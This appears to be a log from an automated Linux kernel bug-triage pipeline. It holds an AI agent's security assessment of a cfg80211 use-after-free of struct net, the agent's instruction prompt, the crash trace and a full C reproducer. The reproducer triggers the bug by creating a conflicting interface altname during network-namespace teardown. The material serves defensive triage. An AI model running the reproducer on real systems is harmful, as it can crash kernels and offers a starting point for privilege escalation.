| 0/0 |
2026/08/26 09:57 |
flow |
assessment-security |
12m
Results: map[DenialOfService:true Explanation:Based on the analysis of the bug report and the provided reproducer, here is the
assessment of the vulnerability:
### Root Cause Analysis
The bug is a **Use-After-Free (UAF) of `struct net`** in the `cfg80211`
subsystem, which is triggered when a wireless hardware device (wiphy) fails to
be moved back to the initial network namespace (`init_net`) during the
destruction of a user-created network namespace.
When a network namespace is destroyed, the kernel invokes
`cfg80211_pernet_exit()`, which attempts to rescue any wiphy present in that
namespace by moving it back to `init_net` via `cfg80211_switch_netns()`. This
function iterates over the wiphy's network interfaces and calls
`dev_change_net_namespace()`.
If an interface has an alternative name (altname) that conflicts with an
existing interface name or altname in `init_net` (e.g., `eth0` or `lo`),
`dev_change_net_namespace()` fails with `-EEXIST`. Because
`cfg80211_pernet_exit()` only issues a `WARN_ON()` and does not handle the
failure, the wiphy is left behind with its `wiphy_net` pointer still referencing
the dying network namespace.
Once the namespace is fully destroyed and its `struct net` is freed, the wiphy
remains registered in `cfg80211`. Any subsequent netlink events or commands
involving this wiphy (such as deleting the wiphy, which triggers
`nl80211_notify_wiphy()`) will dereference the freed `struct net` pointer (e.g.,
accessing `net->genl_sock` in `genlmsg_multicast_netns()`), leading to a classic
use-after-free.
The lockdep warning shown in the bug report (`WARNING: net/wireless/core.c:1957
at wiphy_delayed_work_cancel`) is a direct side effect of this failure: because
the interfaces were not moved to `init_net`, they are forcefully unregistered by
the dying namespace's `cleanup_net()` routine. This bypasses the normal
`mac80211` teardown sequence, causing `ndo_uninit` to be invoked without holding
the `wiphy->mtx` lock, which triggers the lockdep assertion.
### Security Impact
* **Exploitable:** **Yes.** The UAF of `struct net` can be leveraged by an
attacker to corrupt memory, leak information, or hijack control flow (e.g., via
function pointers within the `struct net` or overlapping objects), leading to
privilege escalation.
* **Denial Of Service:** **Yes.** Dereferencing the freed `struct net` pointer
will reliably cause a kernel panic.
* **Accessible From User Namespaces:** **Yes.** An unprivileged user can trigger
this bug if they can create a user namespace and a network namespace. They can
use a software wiphy (e.g., via `mac80211_hwsim`, if the module is loaded) to
create a radio, assign it an altname that intentionally conflicts with a known
interface in `init_net` (like `eth0`), and then destroy the namespace to trigger
the UAF.
* **Accessible From Unprivileged Processes:** **No.** Triggering the bug
requires `CAP_NET_ADMIN` to add altnames and manipulate the wiphy, which is only
available to unprivileged users if they can transition into a new user
namespace.
### Conclusion
This is a highly exploitable Use-After-Free vulnerability accessible from user
namespaces. It allows a local attacker to crash the system or potentially
escalate privileges by intentionally causing an interface altname collision
during network namespace teardown. Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/08/26 09:57 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:#define _GNU_SOURCE
#include <errno.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_link.h>
#include <net/if.h>
#define HWSIM_CMD_NEW_RADIO 4
#define HWSIM_CMD_DEL_RADIO 5
#define HWSIM_ATTR_RADIO_NAME 17
#define NL80211_CMD_NEW_INTERFACE 7
#define NL80211_CMD_SET_WIPHY_NETNS 49
#define NL80211_ATTR_WIPHY 1
#define NL80211_ATTR_IFNAME 4
#define NL80211_ATTR_IFTYPE 5
#define NL80211_ATTR_PID 82
#define NL80211_IFTYPE_STATION 2
#define RTM_NEWLINKPROP 108
#define IFLA_PROP_LIST 52
#define IFLA_ALT_IFNAME 53
#define NLA_F_NESTED (1 << 15)
int get_family_id(int fd, const char *family_name) {
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = GENL_ID_CTRL;
req.n.nlmsg_flags = NLM_F_REQUEST;
req.n.nlmsg_seq = 1;
req.g.cmd = CTRL_CMD_GETFAMILY;
req.g.version = 1;
size_t name_len = strlen(family_name) + 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = CTRL_ATTR_FAMILY_NAME;
nla->nla_len = NLA_HDRLEN + name_len;
memcpy((char *)nla + NLA_HDRLEN, family_name, name_len);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in get_family_id: %s\n", strerror(errno));
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in get_family_id: %s\n", strerror(errno));
return -1;
}
int family_id = -1;
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == GENL_ID_CTRL) {
struct genlmsghdr *ghdr = (struct genlmsghdr *)NLMSG_DATA(nlh);
struct nlattr *attr = (struct nlattr *)((char *)ghdr + GENL_HDRLEN);
int rem = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
while (rem >= (int)sizeof(struct nlattr) &&
attr->nla_len >= sizeof(struct nlattr) &&
attr->nla_len <= rem) {
if ((attr->nla_type & NLA_TYPE_MASK) == CTRL_ATTR_FAMILY_ID) {
family_id = *(uint16_t *)((char *)attr + NLA_HDRLEN);
break;
}
int aligned = NLA_ALIGN(attr->nla_len);
rem -= aligned;
attr = (struct nlattr *)((char *)attr + aligned);
}
}
}
return family_id;
}
int create_hwsim_radio(int fd, int family_id, const char *phyname) {
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = family_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.n.nlmsg_seq = 2;
req.g.cmd = HWSIM_CMD_NEW_RADIO;
req.g.version = 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = HWSIM_ATTR_RADIO_NAME;
nla->nla_len = NLA_HDRLEN + strlen(phyname) + 1;
memcpy((char *)nla + NLA_HDRLEN, phyname, strlen(phyname) + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in create_hwsim_radio: %s\n", strerror(errno));
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in create_hwsim_radio: %s\n", strerror(errno));
return -1;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0) {
printf("[-] Error creating radio: %s (%d)\n", strerror(-err->error), err->error);
return -1;
}
}
}
return 0;
}
int create_wlan_interface(int fd, int family_id, int wiphy_idx, const char *ifname) {
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = family_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.n.nlmsg_seq = 3;
req.g.cmd = NL80211_CMD_NEW_INTERFACE;
req.g.version = 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_WIPHY;
nla->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)nla + NLA_HDRLEN) = wiphy_idx;
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_IFNAME;
nla->nla_len = NLA_HDRLEN + strlen(ifname) + 1;
memcpy((char *)nla + NLA_HDRLEN, ifname, strlen(ifname) + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_IFTYPE;
nla->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)nla + NLA_HDRLEN) = NL80211_IFTYPE_STATION;
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in create_wlan_interface: %s\n", strerror(errno));
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in create_wlan_interface: %s\n", strerror(errno));
return -1;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0) {
printf("[-] create_wlan_interface returned: %s (%d)\n", strerror(-err->error), err->error);
return -1;
}
}
}
return 0;
}
int move_wiphy(int fd, int family_id, int wiphy_idx, int pid) {
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = family_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.n.nlmsg_seq = 4;
req.g.cmd = NL80211_CMD_SET_WIPHY_NETNS;
req.g.version = 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_WIPHY;
nla->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)nla + NLA_HDRLEN) = wiphy_idx;
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = NL80211_ATTR_PID;
nla->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)nla + NLA_HDRLEN) = pid;
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in move_wiphy: %s\n", strerror(errno));
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in move_wiphy: %s\n", strerror(errno));
return -1;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0) {
printf("[-] move_wiphy returned: %s (%d)\n", strerror(-err->error), err->error);
return -1;
}
}
}
return 0;
}
int add_altname(int ifindex, const char *altname) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) {
printf("[-] Failed to socket in add_altname: %s\n", strerror(errno));
return -1;
}
struct {
struct nlmsghdr n;
struct ifinfomsg i;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.n.nlmsg_type = RTM_NEWLINKPROP;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.i.ifi_family = AF_UNSPEC;
req.i.ifi_index = ifindex;
struct rtattr *prop = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
prop->rta_type = IFLA_PROP_LIST | NLA_F_NESTED;
prop->rta_len = RTA_LENGTH(0);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(prop->rta_len);
struct rtattr *alt = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
alt->rta_type = IFLA_ALT_IFNAME;
alt->rta_len = RTA_LENGTH(strlen(altname) + 1);
memcpy(RTA_DATA(alt), altname, strlen(altname) + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(alt->rta_len);
prop->rta_len = (char *)(((char *)&req) + req.n.nlmsg_len) - (char *)prop;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in add_altname: %s\n", strerror(errno));
close(fd);
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len >= 0) {
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0) {
printf("[-] Error adding altname: %s (%d)\n", strerror(-err->error), err->error);
close(fd);
return -1;
}
}
}
}
close(fd);
return 0;
}
int create_dummy_interface(const char *name) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) {
printf("[-] Failed to socket in create_dummy_interface: %s\n", strerror(errno));
return -1;
}
struct {
struct nlmsghdr n;
struct ifinfomsg i;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.n.nlmsg_type = RTM_NEWLINK;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE;
req.i.ifi_family = AF_UNSPEC;
struct rtattr *rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
rta->rta_type = IFLA_IFNAME;
rta->rta_len = RTA_LENGTH(strlen(name) + 1);
memcpy(RTA_DATA(rta), name, strlen(name) + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(rta->rta_len);
struct rtattr *linkinfo = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
linkinfo->rta_type = IFLA_LINKINFO | NLA_F_NESTED;
linkinfo->rta_len = RTA_LENGTH(0);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(linkinfo->rta_len);
struct rtattr *kind = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.n.nlmsg_len));
kind->rta_type = IFLA_INFO_KIND;
kind->rta_len = RTA_LENGTH(strlen("dummy") + 1);
memcpy(RTA_DATA(kind), "dummy", strlen("dummy") + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + RTA_ALIGN(kind->rta_len);
linkinfo->rta_len = (char *)(((char *)&req) + req.n.nlmsg_len) - (char *)linkinfo;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto in create_dummy_interface: %s\n", strerror(errno));
close(fd);
return -1;
}
char resp[4096];
ssize_t len = recv(fd, resp, sizeof(resp), 0);
if (len < 0) {
printf("[-] Failed to recv in create_dummy_interface: %s\n", strerror(errno));
close(fd);
return -1;
}
for (struct nlmsghdr *nlh = (struct nlmsghdr *)resp; NLMSG_OK(nlh, len); nlh = NLMSG_NEXT(nlh, len)) {
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nlh);
if (err->error < 0 && err->error != -EEXIST) {
printf("[-] Error creating dummy interface: %s (%d)\n", strerror(-err->error), err->error);
close(fd);
return -1;
}
}
}
close(fd);
return 0;
}
int main(void) {
printf("[*] Starting reproducer...\n");
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) {
printf("[-] Failed to socket: %s\n", strerror(errno));
exit(1);
}
printf("[+] socket successful.\n");
int hwsim_id = get_family_id(fd, "MAC80211_HWSIM");
if (hwsim_id < 0) {
printf("[-] Failed to get MAC80211_HWSIM family ID\n");
exit(1);
}
printf("[+] get_family_id MAC80211_HWSIM successful.\n");
int nl80211_id = get_family_id(fd, "nl80211");
if (nl80211_id < 0) {
printf("[-] Failed to get nl80211 family ID\n");
exit(1);
}
printf("[+] get_family_id nl80211 successful.\n");
/* 1. Create a hwsim radio in init_net (this automatically creates wlan0). */
if (create_hwsim_radio(fd, hwsim_id, "hwsim_test0") < 0) {
printf("[-] Failed to create_hwsim_radio\n");
exit(1);
}
printf("[+] create_hwsim_radio successful.\n");
/* We assume wiphy index is 0 for the first created wiphy. */
int wiphy_idx = 0;
/* 2. Create a second interface wlan_test1 on the same radio */
if (create_wlan_interface(fd, nl80211_id, wiphy_idx, "wlan_test1") < 0) {
printf("[-] Failed to create_wlan_interface\n");
exit(1);
}
printf("[+] create_wlan_interface successful.\n");
/* 3. Add an altname to wlan_test1 */
int wlan1_idx = if_nametoindex("wlan_test1");
if (wlan1_idx > 0) {
if (add_altname(wlan1_idx, "myaltname") < 0) {
printf("[-] Failed to add_altname to wlan_test1\n");
exit(1);
}
printf("[+] add_altname to wlan_test1 successful.\n");
} else {
printf("[-] Could not find wlan_test1\n");
exit(1);
}
/* 4. Move the wiphy to a new netns (netns B) */
int sv_B[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv_B) < 0) {
printf("[-] Failed to socketpair: %s\n", strerror(errno));
exit(1);
}
pid_t pid_B = fork();
if (pid_B < 0) {
printf("[-] Failed to fork: %s\n", strerror(errno));
exit(1);
}
if (pid_B == 0) {
close(sv_B[0]);
if (unshare(CLONE_NEWNET) < 0) {
printf("[-] Failed to unshare: %s\n", strerror(errno));
exit(1);
}
/* Tell parent we are ready */
if (write(sv_B[1], "A", 1) != 1) {
printf("[-] Failed to write to sv_B[1]: %s\n", strerror(errno));
exit(1);
}
/* Wait for parent to finish */
char buf;
if (read(sv_B[1], &buf, 1) != 1) {
printf("[-] Failed to read from sv_B[1]: %s\n", strerror(errno));
exit(1);
}
exit(0);
}
close(sv_B[1]);
char buf;
if (read(sv_B[0], &buf, 1) != 1) {
printf("[-] Failed to read from sv_B[0]: %s\n", strerror(errno));
exit(1);
}
if (move_wiphy(fd, nl80211_id, wiphy_idx, pid_B) < 0) {
printf("[-] Failed to move_wiphy\n");
exit(1);
}
printf("[+] move_wiphy successful.\n");
/* 5. Create a dummy interface in init_net and add the SAME altname to it */
if (create_dummy_interface("dummy_test0") < 0) {
printf("[-] Failed to create_dummy_interface\n");
exit(1);
}
printf("[+] create_dummy_interface successful.\n");
int dummy_idx = if_nametoindex("dummy_test0");
if (dummy_idx > 0) {
if (add_altname(dummy_idx, "myaltname") < 0) {
printf("[-] Failed to add_altname to dummy_test0\n");
exit(1);
}
printf("[+] add_altname to dummy_test0 successful.\n");
} else {
printf("[-] Could not find dummy_test0\n");
exit(1);
}
/* 6. Destroy netns B */
if (write(sv_B[0], "B", 1) != 1) {
printf("[-] Failed to write to sv_B[0]: %s\n", strerror(errno));
exit(1);
}
waitpid(pid_B, NULL, 0);
printf("[+] netns B destroyed.\n");
/* 7. Wait for netns B to be destroyed */
sleep(2);
/* 8. Delete the hwsim radio */
struct {
struct nlmsghdr n;
struct genlmsghdr g;
char buf[256];
} req;
memset(&req, 0, sizeof(req));
req.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
req.n.nlmsg_type = hwsim_id;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.g.cmd = HWSIM_CMD_DEL_RADIO;
req.g.version = 1;
struct nlattr *nla = (struct nlattr *)((char *)&req + NLMSG_ALIGN(req.n.nlmsg_len));
nla->nla_type = HWSIM_ATTR_RADIO_NAME;
nla->nla_len = NLA_HDRLEN + strlen("hwsim_test0") + 1;
memcpy((char *)nla + NLA_HDRLEN, "hwsim_test0", strlen("hwsim_test0") + 1);
req.n.nlmsg_len = NLMSG_ALIGN(req.n.nlmsg_len) + NLA_ALIGN(nla->nla_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
printf("[-] Failed to sendto HWSIM_CMD_DEL_RADIO: %s\n", strerror(errno));
exit(1);
}
printf("[+] sendto HWSIM_CMD_DEL_RADIO successful.\n");
sleep(2);
return 0;
}
]
|
| 2/1 |
2026/08/26 09:57 |
action |
kernel-checkouter |
0m
Results: map[KernelSrc:/app/workdir/cache/src/d3e5e845ea1e86991b96377ebe5c58374353a72c]
|
| 3/1 |
2026/08/26 09:57 |
action |
kernel-builder |
0m
Results: map[KernelObj:/app/workdir/cache/build/87aaa677bb09399630dfb39dc4dfd962f565d50c]
|
| 4/1 |
2026/08/26 09:57 |
action |
codesearch-prepare |
0m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/08/26 09:57 |
agent |
expert |
12m
Model:
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption, elevated privileges, or an information leak.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Information leaks are exploitable on their own and should be classified as such. A bug that copies kernel
memory contents to userspace (e.g. an out-of-bounds read whose result is returned to the caller, or
uninitialized stack/heap bytes written to a user buffer) is exploitable: it can reveal kernel pointer
values and defeat KASLR, expose sensitive data such as cryptographic keys or other processes' memory, and
serves as a necessary building block in most modern kernel privilege-escalation exploit chains. Do not classify
an information leak as non-exploitable solely because it does not directly cause a memory write or control-flow
hijack; the leak itself is the exploit primitive.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
------------[ cut here ]------------
debug_locks && !(lock_is_held(&(&wiphy->mtx)->dep_map) != 0)
WARNING: net/wireless/core.c:1957 at wiphy_delayed_work_cancel+0x9a/0xb0 net/wireless/core.c:1957, CPU#3: kworker/u32:0/12
Modules linked in:
CPU: 3 UID: 0 PID: 12 Comm: kworker/u32:0 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: netns cleanup_net
RIP: 0010:wiphy_delayed_work_cancel+0x9a/0xb0 net/wireless/core.c:1957
Code: e8 bb a8 fa f6 48 8d 7d 60 be ff ff ff ff e8 ed 85 b6 00 31 ff 41 89 c4 89 c6 e8 11 a3 fa f6 45 85 e4 75 bf e8 97 a8 fa f6 90 <0f> 0b 90 eb b4 48 c7 c7 84 8a 43 91 e8 45 7c 6d f7 eb 90 0f 1f 00
RSP: 0018:ffffc900000f7740 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff88802b5e18a8 RCX: 0000000000000000
RDX: ffff88801ee9cb00 RSI: ffffffff8b105939 RDI: ffff88801ee9cb00
RBP: ffff888103680740 R08: 0000000000000005 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000001 R12: 0000000000000000
R13: 0000000000000000 R14: ffff888103680f40 R15: ffff888103680f90
FS: 0000000000000000(0000) GS:ffff8880d5ea2000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000055979cdf8da8 CR3: 000000003e9c7000 CR4: 0000000000352ef0
Call Trace:
<TASK>
ieee80211_free_keys+0xcd/0x640 net/mac80211/key.c:1148
ieee80211_teardown_sdata+0x54/0x250 net/mac80211/iface.c:906
unregister_netdevice_many_notify+0x1407/0x2150 net/core/dev.c:12537
unregister_netdevice_many net/core/dev.c:12589 [inline]
default_device_exit_batch+0x907/0xbd0 net/core/dev.c:13288
ops_exit_list net/core/net_namespace.c:206 [inline]
ops_undo_list+0x363/0xab0 net/core/net_namespace.c:253
cleanup_net+0x499/0x920 net/core/net_namespace.c:706
process_one_work+0xac7/0x1b10 kernel/workqueue.c:3387
process_scheduled_works kernel/workqueue.c:3470 [inline]
worker_thread+0x5ef/0xe50 kernel/workqueue.c:3551
kthread+0x373/0x450 kernel/kthread.c:436
ret_from_fork+0x730/0xd60 arch/x86/kernel/process.c:158
